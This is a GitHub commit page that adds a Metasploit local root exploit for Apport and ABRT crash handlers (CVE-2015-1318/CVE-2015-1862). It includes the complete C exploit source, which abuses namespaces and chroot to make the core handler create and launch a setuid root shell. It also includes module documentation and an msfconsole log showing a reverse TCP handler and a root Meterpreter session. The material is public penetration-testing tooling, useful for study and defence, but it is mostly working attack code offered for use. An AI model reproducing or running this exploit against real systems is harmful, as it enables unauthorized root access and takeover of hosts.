Skip to content

Commit 7cb0a11

Browse files
committed
Land rapid7#9399 a linux priv esc against apport and abrt
2 parents bbb0946 + 3c21eb8 commit 7cb0a11

File tree

4 files changed

+401
-0
lines changed

4 files changed

+401
-0
lines changed

data/exploits/cve-2015-1318/newpid

63.3 KB
Binary file not shown.

data/exploits/cve-2015-1318/newpid.c

Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
#define _GNU_SOURCE
2+
#include <stdio.h>
3+
#include <unistd.h>
4+
#include <stdlib.h>
5+
#include <signal.h>
6+
#include <err.h>
7+
#include <syslog.h>
8+
#include <sched.h>
9+
#include <linux/sched.h>
10+
#include <sys/types.h>
11+
#include <sys/stat.h>
12+
#include <sys/wait.h>
13+
14+
//
15+
// Apport/Abrt Vulnerability Demo Exploit.
16+
//
17+
// Apport: CVE-2015-1318
18+
// Abrt: CVE-2015-1862
19+
//
20+
// -- [email protected], April 2015.
21+
//
22+
// $ gcc -static newpid.c
23+
// $ ./a.out
24+
// uid=0(root) gid=0(root) groups=0(root)
25+
// sh-4.3# exit
26+
// exit
27+
//
28+
// Hint: To get libc.a,
29+
// yum install glibc-static or apt-get install libc6-dev
30+
//
31+
32+
//
33+
// Modified for Metasploit. Original exploit:
34+
// - https://www.exploit-db.com/exploits/36746/
35+
//
36+
37+
int main(int argc, char **argv)
38+
{
39+
int status;
40+
pid_t wrapper;
41+
pid_t init;
42+
pid_t subprocess;
43+
unsigned i;
44+
45+
// If we're root, then we've convinced the core handler to run us,
46+
// so create a setuid root executable that can be used outside the chroot.
47+
if (getuid() == 0) {
48+
if (chown("sh", 0, 0) != 0)
49+
exit(EXIT_FAILURE);
50+
51+
if (chmod("sh", 04755) != 0)
52+
exit(EXIT_FAILURE);
53+
54+
return EXIT_SUCCESS;
55+
}
56+
57+
// If I'm not root, but euid is 0, then the exploit worked and we can spawn
58+
// a shell and cleanup.
59+
if (setuid(0) == 0) {
60+
system("id");
61+
system("rm -rf exploit");
62+
execlp("sh", "sh", NULL);
63+
64+
// Something went wrong.
65+
err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
66+
}
67+
68+
// It looks like the exploit hasn't run yet, so create a chroot.
69+
if (mkdir("exploit", 0755) != 0
70+
|| mkdir("exploit/usr", 0755) != 0
71+
|| mkdir("exploit/usr/share", 0755) != 0
72+
|| mkdir("exploit/usr/share/apport", 0755) != 0
73+
|| mkdir("exploit/usr/libexec", 0755) != 0) {
74+
err(EXIT_FAILURE, "failed to create chroot directory");
75+
}
76+
77+
// Create links to the exploit locations we need.
78+
if (link(*argv, "exploit/sh") != 0
79+
|| link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu
80+
|| link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora
81+
err(EXIT_FAILURE, "failed to create required hard links");
82+
}
83+
84+
// Create a subprocess so we don't enter the new namespace.
85+
if ((wrapper = fork()) == 0) {
86+
87+
// In the child process, create a new pid and user ns. The pid
88+
// namespace is only needed on Ubuntu, because they check for %P != %p
89+
// in their core handler. On Fedora, just a user ns is sufficient.
90+
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
91+
err(EXIT_FAILURE, "failed to create new namespace");
92+
93+
// Create a process in the new namespace.
94+
if ((init = fork()) == 0) {
95+
96+
// Init (pid 1) signal handling is special, so make a subprocess to
97+
// handle the traps.
98+
if ((subprocess = fork()) == 0) {
99+
// Change /proc/self/root, which we can do as we're privileged
100+
// within the new namepace.
101+
if (chroot("exploit") != 0) {
102+
err(EXIT_FAILURE, "chroot didnt work");
103+
}
104+
105+
// Now trap to get the core handler invoked.
106+
__builtin_trap();
107+
108+
// Shouldn't happen, unless user is ptracing us or something.
109+
err(EXIT_FAILURE, "coredump failed, were you ptracing?");
110+
}
111+
112+
// If the subprocess exited with an abnormal signal, then everything worked.
113+
if (waitpid(subprocess, &status, 0) == subprocess)
114+
return WIFSIGNALED(status)
115+
? EXIT_SUCCESS
116+
: EXIT_FAILURE;
117+
118+
// Something didn't work.
119+
return EXIT_FAILURE;
120+
}
121+
122+
// The new namespace didn't work.
123+
if (waitpid(init, &status, 0) == init)
124+
return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
125+
? EXIT_SUCCESS
126+
: EXIT_FAILURE;
127+
128+
// Waitpid failure.
129+
return EXIT_FAILURE;
130+
}
131+
132+
// If the subprocess returned sccess, the exploit probably worked,
133+
// reload with euid zero.
134+
if (waitpid(wrapper, &status, 0) == wrapper) {
135+
// All done, spawn root shell.
136+
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
137+
execl(*argv, "w00t", NULL);
138+
}
139+
}
140+
141+
// Unknown error.
142+
errx(EXIT_FAILURE, "unexpected result, cannot continue");
143+
}
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
## Description
2+
3+
This module attempts to gain root privileges on Ubuntu and Fedora systems by invoking the default coredump handler inside a namespace ("container").
4+
5+
6+
## Vulnerable Application
7+
8+
Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are vulnerable, due to a feature which allows forwarding reports to a container's Apport by changing the root directory before loading the crash report, causing `usr/share/apport/apport` within the crashed task's directory to be executed.
9+
10+
Similarly, Fedora is vulnerable when the kernel crash handler is configured to change root directory before executing ABRT, causing `usr/libexec/abrt-hook-ccpp` within the crashed task's directory to be executed. Fedora's crash handler was reportedly configured to chroot ABRT by default between April and August 2014.
11+
12+
In both instances, the crash handler does not drop privileges, resulting in code execution as root.
13+
14+
This module has been tested successfully on:
15+
16+
* Apport 2.14.1 on Ubuntu 14.04.1 LTS x86 and x86_64
17+
* ABRT on Fedora 19 and 20 x86_64
18+
19+
To test Fedora 20, disable SELinux, reboot, and modify `/proc/sys/kernel/core_pattern` to make use of the vulnerable `core_pattern` : `|/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e`
20+
21+
22+
## Verification Steps
23+
24+
1. Start `msfconsole`
25+
2. Get a session
26+
3. Do: `use exploit/linux/local/apport_abrt_chroot_priv_esc`
27+
4. Do: `set SESSION [SESSION]`
28+
5. Do: `check`
29+
6. Do: `run`
30+
7. You should get a new root session
31+
32+
33+
## Options
34+
35+
**SESSION**
36+
37+
Which session to use, which can be viewed with `sessions`
38+
39+
**WritableDir**
40+
41+
A writable directory file system path. (default: `/tmp`)
42+
43+
44+
## Scenarios
45+
46+
```
47+
msf > use exploit/linux/local/apport_abrt_chroot_priv_esc
48+
msf exploit(linux/local/apport_abrt_chroot_priv_esc) > set session 1
49+
session => 1
50+
msf exploit(linux/local/apport_abrt_chroot_priv_esc) > run
51+
52+
[!] SESSION may not be compatible with this module.
53+
[*] Started reverse TCP handler on 172.16.191.244:4444
54+
[*] Writing '/tmp/.drY6cJZ' (887316 bytes) ...
55+
[*] Writing '/tmp/.LtJvrgjXq' (207 bytes) ...
56+
[*] Launching exploit...
57+
[+] Upgraded session to root privileges ('uid=0(root) gid=1000(user) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(user)')
58+
[*] Sending stage (857352 bytes) to 172.16.191.252
59+
[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.252:35552) at 2018-01-11 09:58:25 -0500
60+
[+] Deleted /tmp/.drY6cJZ
61+
[+] Deleted /tmp/.LtJvrgjXq
62+
63+
meterpreter > getuid
64+
Server username: uid=0, gid=1000, euid=0, egid=1000
65+
meterpreter > sysinfo
66+
Computer : 172.16.191.252
67+
OS : Ubuntu 14.04 (Linux 3.13.0-32-generic)
68+
Architecture : x64
69+
BuildTuple : i486-linux-musl
70+
Meterpreter : x86/linux
71+
meterpreter >
72+
```
73+

0 commit comments

Comments
 (0)